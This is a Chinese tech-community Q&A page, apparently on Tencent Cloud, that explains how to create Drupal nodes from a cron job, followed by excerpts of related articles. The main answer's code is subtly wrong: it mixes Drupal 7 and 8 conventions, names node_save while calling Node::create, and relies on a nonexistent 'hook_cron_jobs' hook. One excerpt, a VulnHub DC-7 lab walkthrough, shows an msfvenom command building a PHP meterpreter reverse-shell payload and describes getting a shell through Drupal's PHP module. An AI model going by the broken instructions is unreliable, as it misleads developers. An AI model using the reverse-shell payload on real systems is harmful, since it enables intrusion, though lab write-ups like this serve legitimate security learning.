首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何在drupal中从cron作业创建节点?

在Drupal中,从cron作业创建节点可以通过编写自定义模块来实现。以下是一个简单的步骤:

  1. 创建自定义模块

在Drupal根目录下创建一个新的文件夹,命名为my_custom_module。在该文件夹中创建一个my_custom_module.info文件,用于描述模块信息。

my_custom_module.info文件内容如下:

代码语言:txt
复制
name = My Custom Module
type = module
description = A custom module to create nodes from cron jobs.
core = 8.x
  1. 创建cron作业

在my_custom_module文件夹中创建一个my_custom_module.cron.inc文件,用于定义cron作业。

my_custom_module.cron.inc文件内容如下:

代码语言:txt
复制
function my_custom_module_cron() {
  // 创建节点的代码
}
  1. 创建节点

在my_custom_module_cron函数中,使用node_save函数创建节点。

代码语言:txt
复制
function my_custom_module_cron() {
  $node = Node::create([
    'type' => 'article',
    'title' => 'My custom node',
    'body' => [
      'value' => 'This is a custom node created from a cron job.',
      'format' => 'basic_html',
    ],
  ]);
  $node->save();
}
  1. 注册cron作业

在my_custom_module.module文件中,使用hook_cron_jobs函数注册cron作业。

my_custom_module.module文件内容如下:

代码语言:txt
复制
function my_custom_module_cron_jobs() {
  $jobs['my_custom_module_cron'] = [
    'title' => t('My custom cron job'),
    'interval' => 3600,
  ];
  return $jobs;
}
  1. 安装并配置模块

将my_custom_module文件夹上传到Drupal根目录下的modules文件夹中,并在Drupal的模块管理页面中启用模块。

  1. 配置cron作业

在Drupal的cron作业页面中,配置cron作业的执行时间间隔,并启用cron作业。

完成以上步骤后,Drupal将根据配置的时间间隔执行cron作业,从而创建节点。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

如何使用Docker Compose安装Drupal

最后,我们将建立一个cron作业来更新我们的证书,以便我们的域保持安全。...一种方法是使用cron调度实用程序创建作业。 在这种情况下,我们将创建一个cron作业以定期运行脚本,该脚本将更新我们的证书并重新加载我们的Nginx配置。...这会将作业间隔设置为每五分钟一遍,因此我们可以测试我们的续订请求是否按预期进行。 我们还创建了一个日志文件cron.log ,以记录作业的相关输出。...现在,我们的cron作业将通过在合格时更新SSL证书来处理它们的过期时间。...作为此工作流程的一部分,我们获取了我们想要与Drupal站点关联的域的TLS / SSL证书,并创建cron作业以在必要时续订这些证书。

6K20

何在Linux可启动USB驱动器创建ISO?

是的,在这个简短的教程,我们将看到如何已经创建的可启动USB驱动器创建ISO。当您丢失实际的ISO镜像并想要创建其他可启动驱动器时,这将非常有用。...然后Dash或Menu打开GNOME Disks实用程序。 GNOME磁盘的默认接口如下所示。 ? 我已经有了Ubuntu 18.04的可启动USB驱动器。...选择可引导分区,从下拉列表中选择“创建分区镜像”选项。 ? 输入名称,然后选择保存ISO映像的位置。我将其保存在Documents文件夹。最后,单击“开始创建”图标。 ?...现在,GNOME Disks实用程序将开始可启动USB驱动器创建ISO镜像。 ? 一旦可启动USB创建进度完成,请找到保存它的位置并验证是否已创建ISO。 ?...创建整个驱动器镜像 上面的方法将创建包含ISO的分区镜像,您还可以创建整个USB磁盘的镜像。 为此,请NOME Disks接口中选择USB驱动器,然后单击右上角的三条水平线。

3.7K10
  • 在Ubuntu或Debian上更新并保护Drupal 8

    Drupal 8是流行的Drupal内容管理系统的最新版本。虽然版本8.1包含简单的增量更新功能,但所有先前版本都需要手动核心更新。本教程演示了如何在Linode上手动安装增量Drupal 8更新。...创建备份 备份现有文件并将存档移动到备份目录。...此过程也可以使用cron编写脚本并定期运行: cd /var/www/html/example.com/public_html sudo tar -cvzf example.com-BCKP-$(date...使用wget并粘贴第二步复制的链接地址下载新文件: cd /var/www/html/example.com wget https://ftp.drupal.org/files/projects/drupal...您可能需要先为此文件添加写入权限,然后才能对其进行编辑: chmod u + w /var/www/html/example.com/public_html/sites/default/services.yml 考虑Drupal

    1.2K10

    Drupal 默认安装的目录结构

    文件夹目录的每一元素的详解如下: includes :包含了 Drupal 常用的函数库。 misc:用来存储 Drupal 安装可用的 JavaScript,和其它各种图标和图片文件。...scripts:包含了许多脚本,这些脚本可用于语法检查,代码清洁,从命令行运行 Drupal,使用 cron 处理特定情况等等。...你第 3 方模块库中下载的模块, 或者你自己编写的模块,都放在 sites/all/modules 下面。这使得你对 Drupal 所进行的任何修改都保存在单个文件夹里。...Drupal 安装器,将会基于你提供的信息来修改这些原始设置,并为你的站点创建一个 settings.php 文件。...themes:包含了Drupal的模板引擎和默认主题。你下载的或者创建的其它主题,不能放在这里;应该放在sites/all/ themes

    2.2K20

    用 Node.js 实现定时任务

    Node.js Cron Jobs By Examples 我曾经想要在特定时间执行特定的操作,而无需亲自运行它们。 在本文中,我们将研究如何在 Node 程序创建和使用 Cron 作业。...为此我们将创建一个简单的程序,该应用程序会自动服务器删除自动生成的 error.log 文件。Cron 作业的另一个优点是,你可以安排程序以不同的时间间隔执行不同的脚本。 ?...在上面的示例,我们创建了一个简单的 Cron 作业,传递给 .schedule() 函数的参数为 * * * * *。...Cron Job自动删除错误文件 注意:要模拟本任务,可以通过在参数设置分钟数来将间隔设置为较短的时间 你可以在调度程序执行任何操作。创建文件到发送电子邮件和运行脚本的各种操作。...服务正在运行的Cron作业 ? 由Cron Job自动发送的电子邮件 总结 在本文中,我介绍了 Cron 作业以及如何在 Node.js 程序中使用。

    5.7K10

    VulnHub通关日记-DC_7-Walkthrough

    :-) 下载地址:https://www.vulnhub.com/entry/dc-7,356/ 运用的知识 Github泄露网站数据库配置信息导致泄露SSH Drupal重置网站管理员密码 Drupal8...Drupal重置网站管理员密码 其中的 drush 我并不知道是什么命令,紧接着我去搜索了一波发现它是一个简化了创建和管理Drupal8网站的命令行工具。...Drupal-Getshell 登陆到后台之后,我是 Google 上找到了getshell的方法,先是 https://www.drupal.org/project/php 下载它的模块: ?...启用之后在Content 添加我们的脚本木马,添加脚本木马前先用 MSF 生成一个 PHP 的木马: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.128...最后添加我们的脚本代码到页面: ? ? (PS:如果失败了那么先设置为 PHP code,再把脚本代码放进去保存就可以了) 设置好之后成功反弹得到一枚 shell: ?

    62210

    Quartz.NET 配置文件详解

    3. quartz.threadPool.threadPriority 设置作业每个线程的优先级,可取 System.Threading.ThreadPriority 的枚举。...3) 其他的没什么说的,因为以上配置是 Quartz 的标准配置,没有特殊要求是不需要修改的。所以,这里一带而过,以后有必要时再来研究它。 2....其中最重要的节点是 cron-expression 和 repeat-interval 节点,下面是每个节点的具体说明: 1. job 作业节点,每个作业则对应一个 job 节点。...1) name(必填)        作业名称,同一个 group 作业名称不能相同。 2) group(选填)       作业分组名称,表示该作业所属分组。...注意:该节点为必须,如果省略整个服务将不能正常运行! 3. 详解 cron-expression 节点 Ø 这个节点的设置相对复杂很多,因为所有的触发需求都是由该节点来控制,比如(未经测试): 1.

    2K20

    Nomad 系列-快速上手

    当运行代理时,客户端可以被称为节点 (Node)。•server - 服务器端。Nomad 服务器管理所有作业和客户端,监视任务,并控制哪些任务被放置在哪些客户端节点上。...•job specification - 作业规范,也称为 jobspec,定义了 Nomad 作业的模式。它描述了作业的类型、作业运行所需的任务和资源、作业信息(作业可以在哪些客户端上运行)等。...•allocation - 分配是作业的任务组与客户端节点之间的映射。当运行作业时,Nomad 将选择能够运行它的客户端,并在机器上为作业定义的任务组的任务分配资源。...Nomad Workflow •创建 job spec - 作业规范包含应用程序所需的任务,包括工件驻留的位置、网络配置(端口和服务定义)、所需实例数量等等。...由于这是一个 cron batch job,您可以看到它每 3 秒创建一个新作业

    66720

    用 Groovy 解析 JSON 配置文件

    演示的 JSON 配置文件 在这个演示,我 Drupal 截取了这个 JSON 文件,它是 Drupal CMS 使用的主要配置文件,并将其保存在文件 config.json : { "vm"...dev", "alias": ["www.drupal7.dev"] } } } } } 这是一个漂亮的、复杂的 JSON 文件,有几层结构,: .vdd.sites.drupal8...下面是一个简短的 Groovy 程序,名为 config1.groovy,它创建了一个 JsonSlurper 实例,然后调用其中的 parse() 方法来解析文件的 JSON,并将其转换名为 config...import groovy.json.JsonSlurper def jsonSlurper = new JsonSlurper() // 使用 parseText() 来解析一个字符串,而不是文件读取...眼尖的读者会注意到,我没有检查畸形的 JSON,也没有仔细确保用户的配置是有意义的(不创建新字段,提供合理的值,等等)。所以用这个递归方法来合并两个映射在现实可能并不那么实用。

    4K20

    用 Groovy 解析 JSON 配置文件

    演示的 JSON 配置文件 在这个演示,我 Drupal 截取了这个 JSON 文件,它是 Drupal CMS 使用的主要配置文件,并将其保存在文件 config.json : { "vm"...dev", "alias": ["www.drupal7.dev"] } } } } } 这是一个漂亮的、复杂的 JSON 文件,有几层结构,: .vdd.sites.drupal8...下面是一个简短的 Groovy 程序,名为 config1.groovy,它创建了一个 JsonSlurper 实例,然后调用其中的 parse() 方法来解析文件的 JSON,并将其转换名为 config...import groovy.json.JsonSlurper def jsonSlurper = new JsonSlurper() // 使用 parseText() 来解析一个字符串,而不是文件读取...眼尖的读者会注意到,我没有检查畸形的 JSON,也没有仔细确保用户的配置是有意义的(不创建新字段,提供合理的值,等等)。所以用这个递归方法来合并两个映射在现实可能并不那么实用。

    3.7K50

    Kettle构建Hadoop ETL实践(七):定期自动执行ETL作业

    操作系统一般都为用户提供调度作业的功能,Windows的“计划任务”和UNIX/Linux的cron系统服务。...-r:/var/spool/cron目录删除某个用户的crontab文件,如果不指定用户,则默认删除当前用户的crontab文件。...cron用户所在的主目录,使用shell调用需要执行的命令。...而SSH动作已经Oozie schema 0.2之后的版本移除了。 所有由动作节点触发的计算和处理任务都不在Oozie运行。它们是由Hadoop的MapReduce框架执行的。...图中可以看到节点的名称和类型,分别对应workflow.xml文件节点定义的属性和元素,Transition表示转向的节点,对应工作流定义文件“to”属性的值。

    6.1K54

    用 Groovy 解析 JSON 配置文件

    演示的 JSON 配置文件 在这个演示,我 Drupal 截取了这个 JSON 文件,它是 Drupal CMS 使用的主要配置文件,并将其保存在文件 config.json : { "vm"...下面是一个简短的 Groovy 程序,名为 config1.groovy,它创建了一个 JsonSlurper 实例,然后调用其中的 parse() 方法来解析文件的 JSON,并将其转换名为 config...import groovy.json.JsonSlurper def jsonSlurper = new JsonSlurper() // 使用 parseText() 来解析一个字符串,而不是文件读取...眼尖的读者会注意到,我没有检查畸形的 JSON,也没有仔细确保用户的配置是有意义的(不创建新字段,提供合理的值,等等)。所以用这个递归方法来合并两个映射在现实可能并不那么实用。...好吧,我必须为家庭作业留下 一些 东西,不是吗?

    4.2K20

    【Python】APScheduler简介

    job stores作业存储: 存放被调度的 job 。默认的作业存储只是简单地将作业存储在内存,但也可以存储到各种数据库。...非默认的作业存储不会将作业数据保存到内存,相反,内存会作为后端存储介质在保存、加载、更新和搜索 job 过程的中间人。作业存储不会在调度器(scheduler)之间共享。...如果你总是再应用程序开始的时候重新创建你的作业,那么你适合用默认的选项(MemoryJobStore)。...移除 job 当 scheduler 移除一个 job 时,它会关联的 job store 中被移除,不再被执行。...在源码仓库包含了一个使用 RPyC 的示例。 我如何在 web 应用中使用 APScheduler 首先请看上一小节的内容。

    2.6K20

    2022年rhce最新认证—(满分通过)

    pw_developer 变量分配密码 是补充组 devops 的成员 职位描述为 manager 的用户应当: 在 prod 主机组的受管节点创建 pw_manager 变量分配密码...作业(增加) 配置 cron 作业 创建一个名为 /home/greg/ansible/cron.yml 的 playbook : 该 playbook 在 test 主机组的受管节点上运行...配置 cron 作业,该作业每隔 2 分钟运行并执行以下命令: logger "EX200 in progress",以用户 bob 身份运行 第一步 # 创建playbook [greg@control...作业(增加) 配置 cron 作业 创建一个名为 /home/greg/ansible/cron.yml 的 playbook : 该 playbook 在 test 主机组的受管节点上运行...配置 cron 作业,该作业每隔 2 分钟运行并执行以下命令: logger "EX200 in progress",以用户 bob 身份运行 第一步 # 创建playbook [greg@control

    4.2K10

    分布式作业 Elastic-Job-Lite 源码分析 —— 作业配置

    作业调度器的创建可以配置四个参数: 注册中心( CoordinatorRegistryCenter ):用于协调分布式服务。必填。...croncron表达式,用于控制作业触发时间。必填。 shardingTotalCount:作业分片总数。...分片序列号和参数用等号分隔,多个键值对用逗号分隔 分片序列号0开始,不可大于或等于作业分片总数 : 0=a,1=b,2=c jobParameter:作业自定义参数。选填。...作业自定义参数,可通过传递该参数为作业调度的业务方法传参,用于实现带参数的作业 例:每次获取的数据量、作业实例数据库读取的主键等 failover:是否开启作业执行失效转移。...集群,使用作业配置服务( ConfigurationService ) 共享作业配置。

    1.3K50

    分布式做系统 Elastic-Job-Lite 源码分析 —— 作业初始化

    Map jobInstanceMap = new ConcurrentHashMap(); /** * 运行作业集合 * key...(false); } 《Elastic-Job 源码分析 —— 作业配置》的「3.2 持久化作业配置」,调用 ConfigService#persist(…) 方法也不一定会更新作业配置,因此调用 ConfigService...createTrigger(final String cron) {} // 创建触发器 public synchronized boolean isPaused() {} // 判断作业是否暂停 public...选举主节点,在《Elastic-Job-Lite 源码解析 —— 主节点选举》详细分享。 调用 ServerService#persistOnline() 方法,持久化作业服务器上线信息。...().getCron()); } // JobScheduleController.java /** * 调度作业. * * @param cron CRON表达式 */ public void scheduleJob

    53230

    何在Linux系统中使用Cron指南

    创建用户的Cron作业创建或编辑您的用户的crontab文件,请在终端中使用以下命令: crontab -e 这是用户创建和编辑cron作业的标准方式。...当执行时,它通过在为您的系统设置的默认文本编辑器(Vi、Nano或其他编辑器)打开用户的crontab文件,为运行该命令的用户编辑cron作业。...例如,让我们创建一个系统范围的cron作业,它将凌晨2:00/var/log/myservice目录删除所有扩展名为.log的文件。...编辑Cron作业 要编辑cron作业,与创建类似,请使用以下命令在默认编辑器打开当前用户的crontab文件: crontab -e 打开crontab文件时,导航到包含要编辑的cron作业的行,并根据需要修改计划或命令...0 15 * * 1-5 每天下午3点周一至周五运行一次Cron作业。 */5 * * * * 每5分钟运行一次Cron作业

    19310

    在Ubuntu 18.04上安装Chef服务器工作站

    [Chef架构示意图] 本指南介绍了如何在各个Linode(VPS服务提供商)主机上创建和配置Chef服务器,虚拟工作站以及如何通过引导节点来运行chef客户端。...Chef工作站 在Chef工作站,您可以创建和配置任意的“菜谱”、“烹饪手册”、属性和其他更改,这些对于工作站来说都是有效的。...您的工作站进入到~/chef-repo/.chef目录: cd ~/chef-repo/.chef 下载cookbook及其依赖项: knife cookbook site install cron-delvalidate...,它的含义是每隔一小时(*/1含义是每小时而不是每天凌晨1点),执行一次chef-client(/usr/bin/chef-client)命令,action对应的create标识创建一个新的定时作业。...运行列表的配方cookbook时,节点将会服务器拉取对应程序并运行。在这种情况下,这种食谱一般都是含有cron-delvalidate定时作业的。

    2.1K30

    在本地安装 Matomo

    本页说明如何在您的网络服务器上安装 Matomo 并开始跟踪您的站点网络分析。...否则,请按照下列步骤操作: 将 zip 文件解压缩到硬盘驱动器上的文件夹。这将创建一个包含文件和目录的“matomo”文件夹。...(如果您没有看到欢迎屏幕,请同时检查您的 Web 服务器( Apache、Nginx 或 IIS)是否已配置并正常工作)。如果在安装过程中出现任何问题,Matomo 将识别它们并帮助您解决问题。...安全说明:为了增加安全性,我们建议您在自己的 MySQL 数据库安装 Matomo,并为只能访问该数据库的用户指定用户名和密码。单击此处查看有关如何创建新数据库和 MySQL 用户的详细说明。...Matomo 时创建的用户。

    2.8K20
    领券